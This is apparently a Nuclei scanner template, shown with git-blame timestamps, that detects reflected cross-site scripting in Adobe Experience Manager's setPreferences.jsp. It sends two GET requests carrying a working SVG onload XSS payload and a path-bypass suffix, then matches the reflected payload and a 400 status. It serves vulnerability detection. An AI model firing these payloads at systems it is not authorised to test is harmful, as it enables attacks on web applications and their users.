2021-12-04 12:02:37 +00:00
|
|
|
id: aem-setpreferences-xss
|
|
|
|
|
|
|
|
info:
|
2022-05-13 20:26:43 +00:00
|
|
|
name: AEM setPreferences - Cross-Site Scripting
|
2021-12-04 12:02:37 +00:00
|
|
|
author: zinminphy0,dhiyaneshDK
|
2022-04-22 10:38:41 +00:00
|
|
|
severity: medium
|
2021-12-04 12:02:37 +00:00
|
|
|
reference:
|
|
|
|
- https://www.youtube.com/watch?v=VwLSUHNhrOw&t=142s
|
|
|
|
- https://github.com/projectdiscovery/nuclei-templates/issues/3225
|
|
|
|
- https://twitter.com/zin_min_phyo/status/1465394815042916352
|
|
|
|
tags: aem,xss
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"
|
|
|
|
- "{{BaseURL}}/content/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "<svg/onload=confirm(document.domain);>"
|
|
|
|
- 'A JSONObject text must begin with'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2022-05-13 20:26:43 +00:00
|
|
|
- 400
|